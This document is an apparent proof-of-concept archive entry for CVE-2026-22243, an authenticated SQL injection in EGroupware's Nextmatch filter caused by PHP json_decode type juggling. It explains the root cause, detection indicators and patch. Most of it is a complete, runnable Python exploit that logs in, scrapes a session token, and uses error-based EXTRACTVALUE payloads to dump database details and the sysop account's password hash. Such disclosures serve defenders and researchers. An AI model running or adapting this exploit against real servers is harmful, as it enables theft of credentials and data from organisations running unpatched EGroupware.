PoC Archive PoC Archive
Critical CVE-2026-22243 patched

EGroupware Nextmatch Filter Authenticated SQL Injection (CVE-2026-22243)

by Łukasz Rybak (GitHub: lukasz-rybak) · 2026-07-05

Severity
Critical
CVE
CVE-2026-22243
Category
web
Affected product
EGroupware (groupware/collaboration suite)
Affected versions
< 23.1.20260113; >= 26.0.20251208 and < 26.0.20260113
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherŁukasz Rybak (GitHub: lukasz-rybak)
CVE / AdvisoryCVE-2026-22243
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source (advisory lists severity as HIGH)
StatusPoC
Tagssql-injection, egroupware, php-type-juggling, authenticated, error-based-sqli, nextmatch, json
RelatedN/A

Affected Target

FieldValue
Software / SystemEGroupware (groupware/collaboration suite)
Versions Affected< 23.1.20260113; >= 26.0.20251208 and < 26.0.20260113
Language / PlatformPHP (application), Python (PoC exploit script)
Authentication RequiredYes (any authenticated, low-privileged user)
Network Access RequiredYes

Summary

CVE-2026-22243 is a critical authenticated SQL injection in EGroupware’s Nextmatch widget filter processing (used across modules such as InfoLog and Address Book). The application’s database layer (Api\Db, Api\Storage\Base, infolog_so) treats array keys of the col_filter parameter as trusted raw SQL fragments whenever is_int($key) returns true. Because PHP’s json_decode() automatically converts numeric string keys (e.g., "0") into native integers, an attacker can submit a JSON POST body whose col_filter map has numeric-string keys, causing the application to treat the corresponding values as safe and concatenate them directly into the SQL WHERE clause. The included Python PoC logs in, extracts a required exec_id token from the address book UI, and performs error-based SQL injection (via EXTRACTVALUE) against the Nextmatch::ajax_get_rows JSON endpoint to exfiltrate the database version, name, current user, and stored account credentials.


Vulnerability Details

Root Cause

is_int() checks used to decide whether a col_filter array key represents a trusted raw-SQL fragment are bypassed because json_decode() silently casts numeric string keys (e.g., "0") to PHP integers, so attacker-supplied JSON keys pass the “trusted” check and their values are appended unsanitized to the generated SQL query.

Attack Vector

  1. Authenticate to EGroupware as any valid user (even without special privileges).
  2. Load an authenticated page (e.g., Address Book) to obtain the per-session exec_id token embedded in the page source.
  3. Send a JSON POST request to json.php?menuaction=EGroupware\Api\Etemplate\Widget\Nextmatch::ajax_get_rows with a col_filter object using a numeric string key (e.g., "0") whose value is an EXTRACTVALUE-based error-based SQL injection payload.
  4. Parse the resulting XPath syntax error message returned by MySQL/MariaDB, which leaks a chunk of the requested query’s output; repeat with SUBSTRING offsets to reconstruct full result strings.

Impact

Full database compromise for any authenticated user: reading arbitrary data including password hashes and session tokens, and potential modification or deletion of application data.


Environment / Lab Setup

Target:   EGroupware instance (Docker or hosted) running an affected version
Attacker: Python 3 with the `requests` library

Proof of Concept

PoC Script

See exploit.py in this folder (extracted from the researcher’s README, where it was published inline).

1
python3 exploit.py http://localhost:8088/egroupware sysop password123

Logs in with the supplied credentials, extracts the exec_id token from the Address Book UI, then issues chunked EXTRACTVALUE-based error injections against the Nextmatch AJAX endpoint to print the database version, database name, current DB user, and the stored password hash for the sysop account.


Detection & Indicators of Compromise

Signs of compromise:

  • Web/WAF logs showing many rapid POSTs to the Nextmatch ajax_get_rows endpoint with numeric-string col_filter keys and SQL functions in the values
  • MySQL/MariaDB error log entries for XPATH-related errors triggered by application queries
  • Unexpected reads of egw_accounts or other sensitive tables outside normal application query patterns

Remediation

ActionDetail
Primary fixUpgrade to EGroupware 23.1.20260113 / 26.0.20260113 or later
Interim mitigationEnforce a strict allowlist of permitted filter column names and use parameter binding instead of relying on is_int() type checks for trust decisions

References


Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-22243 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
"""
CVE-2026-22243 - EGroupware Nextmatch filter authenticated SQL injection PoC.

Extracted from the researcher's README (embedded exploit script) and saved
here as a standalone file for the archive.

Automates: login -> exec_id extraction -> error-based SQL injection via the
Nextmatch `col_filter` array, exploiting a PHP type-juggling issue where
json_decode() turns numeric string keys (e.g. "0") into integers, which
bypasses an is_int() trust check used to decide whether a filter value is
appended unsanitized to the SQL WHERE clause.

Usage:
    python3 exploit.py [BASE_URL] [LOGIN_USER] [LOGIN_PASS]

Example:
    python3 exploit.py http://localhost:8088/egroupware sysop password123
"""
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\']([^"\']+)["\']', match)
        value_m = re.search(r'value=["\']([^"\']*)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"

    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)

        data = extract_form_inputs(r_get.text)

        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })

        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)

        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False

        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)

        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)

        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"

    print(f"[*] Executing SQLi: {sql}")

    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"

        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }

        try:
            r = session.post(url, json=post_data, timeout=10)

            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)

            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")

                full += chunk
                if len(chunk) < 1: break
            else:
                break

        except Exception as e:
            print(f"[-] Query error: {e}")
            break

    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")

            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")